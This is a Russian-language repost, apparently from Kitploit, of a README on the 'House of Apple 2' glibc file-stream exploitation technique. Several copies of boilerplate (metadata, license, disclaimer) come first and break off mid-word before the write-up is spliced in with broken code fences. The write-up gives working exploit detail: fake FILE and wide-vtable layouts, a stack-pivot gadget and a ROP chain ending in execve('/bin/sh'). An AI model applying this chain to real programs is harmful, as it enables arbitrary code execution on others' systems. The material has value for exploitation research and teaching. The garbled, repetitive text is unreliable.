- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в фай```c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

_IO_WDOALLOCATE — это ещё один макрос диспетчеризации, на этот раз работающий через wide vtable. Косвенный вызов становится очевидным в дизассемблированном коде:

8

Вот интересная часть. По адресу _IO_wdoallocbuf+44 glibc загружает указатель _wide_vtable из _wide_data. По адресу _IO_wdoallocbuf+55 она вызывает указатель на функцию по адресу _wide_vtable + 0x68. На этот раз проверки диапазона нет.

Связывание двух vtables

Теперь кусочки начинают складываться. _IO_wfile_overflow принадлежит _IO_wfile_jumps, который находится внутри допустимого диапазона, принимаемого первой проверкой vtable. Оттуда выполнение может достичь другого косвенного вызова через непроверенную _wide_vtable.

9```c pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f $5 = 0x1

root@kitploit:~
Общая идея теперь такова:

1. Настроить vtable `_IO_FILE_plus` так, чтобы соответствующий слот разрешался в `_IO_wfile_overflow`.
2. Направить `_wide_data` на поддельную структуру `_IO_wide_data`, чей `_wide_vtable` равен `desired_function - 0x68`.

Прежде чем пробовать следующий запуск, нам нужно выполнить несколько условий, чтобы достичь `_IO_wdoallocbuf`.

В `_IO_wfile_overflow`:

- `_flags` не должен содержать `_IO_NO_WRITES` (`0x0008`)
- `_wide_data->_IO_write_base` должен быть `NULL`

В `_IO_wdoallocbuf`:

- `fp->_wide_data->_IO_buf_base` должен быть `NULL`
- `_flags` не должен содержать `_IO_UNBUFFERED` (`0x0002`)

Есть ещё одна деталь. `_IO_FILE` содержит поле `_lock`, которое glibc разыменовывает при захвате и освобождении блокировки потока. Нам нужно направить его на обнулённую записываемую область размером 0x10 байт, иначе операция с потоком упадёт до того, как достигнет нашего вызова.

## Перехват потока управления

Всё настроено, попробуем снова. На этот раз внешняя проверка диапазона проходит, и первый косвенный вызов направляется в `_IO_wfile_overflow`.

![10](https://assets.kitploit.com/production/public/readmes/56272/ac32a8252e44fb068beb5085065aee6b148ebf163a2179bab9ef783d5477b3fc/5b6e27654b01b75a42bae6a0f34afc9d2c67ec404e6197bf71e342b7e0d5142b-display-v1.webp)

Поддельная структура также удовлетворяет условиям в `_IO_wfile_overflow`. Выполнение продолжается в `_IO_wdoallocbuf`. Наконец, проверки в `_IO_wdoallocbuf` проходят, и косвенный вызов по адресу `_IO_wdoallocbuf+55` попадает в нашу функцию `win`.

Пока мы здесь, стоит взглянуть на состояние регистров непосредственно перед финальным косвенным вызовом.

![13](https://assets.kitploit.com/production/public/readmes/56272/a6d258852d60c0eb618f4f0cfbad41fecb059a29911fe27108f9e60815de1a4c/cd546ef8394716136bb68531344e1dfa44102310e56df39bce87221555780d1f-display-v1.webp)

И `RDI`, и `RDX` указывают на начало контролируемой структуры `FILE`. Мы не контролируем напрямую первый и третий регистры аргументов, но мы контролируем память, на которую они указывают. Круто!

## Построение примитива

Примитив реализован в [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py). Прямолинейный подход состоял бы в том, чтобы разместить полную `_IO_FILE_plus`, полную `_IO_wide_data` и отдельную поддельную wide vtable одну за другой. Это сработало бы, но также потребовало бы довольно большого буфера.

Мы можем сделать полезную нагрузку меньше, перекрыв их.

Поддельная `_IO_wide_data` начинается со смещения `0x08`, внутри поддельной `_IO_FILE_plus`. Это работает, потому что большинство полей, участвующих в перекрытии, могут оставаться нулевыми. Удобно, что `_wide_data->_IO_write_base` и `_wide_data->_IO_buf_base` перекрываются с `_IO_write_base` и `_IO_buf_base` в структуре `FILE`, и обе пары должны быть `NULL`.

Важные части раскладки таковы:

| Смещение в payload | Интерпретация `_IO_FILE_plus`   | Интерпретация `_IO_wide_data`     | Значение                                         |
| -----------------: | ------------------------------- | --------------------------------- | ------------------------------------------------ |
|             `0x00` | `_flags`                        | -                                 | Не должен устанавливать `_IO_NO_WRITES` или `_IO_UNBUFFERED` |
|             `0x08` | `_IO_read_ptr`                  | Начало поддельной `_IO_wide_data` | Ноль                                             |
|             `0x20` | `_IO_write_base`                | `_IO_write_base`                  | `NULL`                                           |
|             `0x38` | `_IO_buf_base`                  | `_IO_buf_base`                    | `NULL`                                           |
|             `0x78` | `_old_offset`                   | Начало поддельной wide vtable     | Перекрывающиеся данные vtable                    |
|             `0x88` | `_lock`                         | -                                 | Указатель на нулевое значение в записываемой памяти |
|             `0xa0` | `_wide_data`                    | -                                 | `base + 0x08`                                    |
|             `0xd8` | vtable `_IO_FILE_plus`          | -                                 | Позиция, которая направляет в `_IO_wfile_overflow` |
|             `0xe0` | -                               | Запись поддельной wide vtable по `+0x68` | Адрес произвольной функции                       |
|             `0xe8` | -                               | `_wide_vtable`                    | `base + 0x78`                                    |

Последние две записи — ключ к произвольному вызову. `_wide_vtable` указывает обратно в payload по смещению `0x78`. Когда `_IO_wdoallocbuf` выполняет диспетчеризацию через `_wide_vtable + 0x68`, он читает указатель на функцию, хранящийся по смещению `0xe0`:```text
wide_vtable       = base + 0x78
wide_vtable+0x68  = base + 0xe0

Здесь мы размещаем адрес функции, которую хотим вызвать.

Внешняя vtable зависит от операции, используемой для запуска примитива. Для fwrite диспетчеризация происходит через слот по смещению +0x38, поэтому указатель корректируется до тех пор, пока этот слот не будет указывать на _IO_wfile_overflow. Реализация также поддерживает fread и fclose путём применения соответствующих смещений диспетчеризации.

При такой компоновке один компактный буфер содержит поддельную структуру FILE, перекрывающуюся _IO_wide_data, поддельную широкую vtable и итоговый указатель на функцию.

Stack pivoting

На данном этапе у нас есть примитив произвольного вызова, но наш контроль над регистрами ограничен. Следующий шаг — перевести стек в контролируемую память и запустить ROP-цепочку.

По адресу __push___start_context+63 находится полезный гаджет перевода стека mov rsp, rdx; ret.```asm pwndbg> disass __push___start_context Dump of assembler code for function __push___start_context: 0x00007f46729440d0 <+0>: endbr64 0x00007f46729440d4 <+4>: rdsspq rcx 0x00007f46729440d9 <+9>: mov rdx,rsp 0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0] 0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8] 0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8] 0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0] 0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8] 0x00007f46729440fb <+43>: saveprevssp 0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54> 0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context> 0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8] 0x00007f467294410b <+59>: saveprevssp 0x00007f467294410f <+63>: mov rsp,rdx 0x00007f4672944112 <+66>: ret End of assembler dump.

root@kitploit:~
Мы уже знаем, что `RDX` указывает на начало нашей контролируемой структуры `FILE` в момент произвольного вызова. Если мы вызовем этот гаджет, `RSP` переместится непосредственно в нашу поддельную структуру, и выполнение продолжится со значений, хранящихся там. Это должно дать нам начало ROP-цепочки.

## ROP

Одна загвоздка: ROP-цепочка перекрывает память с поддельной структурой `FILE`, поэтому ограничения на поля из `_IO_wdoallocbuf` всё ещё применяются. Первый qword перекрывает `_flags`, а значит, его значение не должно устанавливать `_IO_NO_WRITES` (`0x8`) или `_IO_UNBUFFERED` (`0x2`). Поэтому наш первый гаджет должен иметь адрес с этими битами, сброшенными в младшем значащем байте.

Гаджет `ret` по адресу `_nl_archive_subfreeres+96` должен подойти. На самом деле это не инструкция `ret`, присутствующая в оригинальном коде на этой границе, но это валидный гаджет, начинающийся в середине инструкции по этому смещённому адресу. Его младший значащий байт равен `0x00`, поэтому размещение адреса в `_flags` не устанавливает `_IO_NO_WRITES` или `_IO_UNBUFFERED`.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│     0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

У нас есть ещё две дыры в цепочке, потому что _IO_write_base и _IO_buf_base должны оставаться NULL. Мы всё ещё можем сделать эти слоты полезными, используя их как нулевые значения для предшествующих pop-гаджетов.

Наконец, мы не можем перезаписать _lock, расположенный по смещению 0x88. Это оставляет нам 17 qword для встроенной ROP-цепочки, чего более чем достаточно для достижения полного контроля над процессом.

Раскладка ROP в ./exp/ace.py выглядит так:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

root@kitploit:~
![14](https://assets.kitploit.com/production/public/readmes/56272/4a03fae3012721e96b1db4803bfa74b6d1279e27e5952a60228437ea8fc1ccf4/caabf1480a7ae14355e2e465334ae1f0c572069d804356e9952f20f6513f85a3-display-v1.webp)

Теперь мы добились выполнения произвольного кода.

## Дополнительные материалы

- [House of Apple: a new glibc IO attack method (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), оригинальная публикация House of Apple 2 от Roderick.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), который независимо выявил путь `_IO_wdoallocbuf` при исследовании современных путей FSOP.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), для подхода к поиску путей потока управления с помощью инструментов.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), для более широкого освещения внутреннего устройства FILE, известных техник и других интересных путей.

## Заключение

House of Apple 2 показывает, как валидная vtable glibc может достичь механизма широких символов и выполнить диспетчеризацию через непроверенную вторичную vtable. Этот же путь остаётся воспроизводимым на сборке glibc 2.43, используемой в песочнице. Хотя компоновки, смещения и гаджеты могут меняться между сборками, лежащая в основе идея потока управления по-прежнему применима.
Скачать инструмент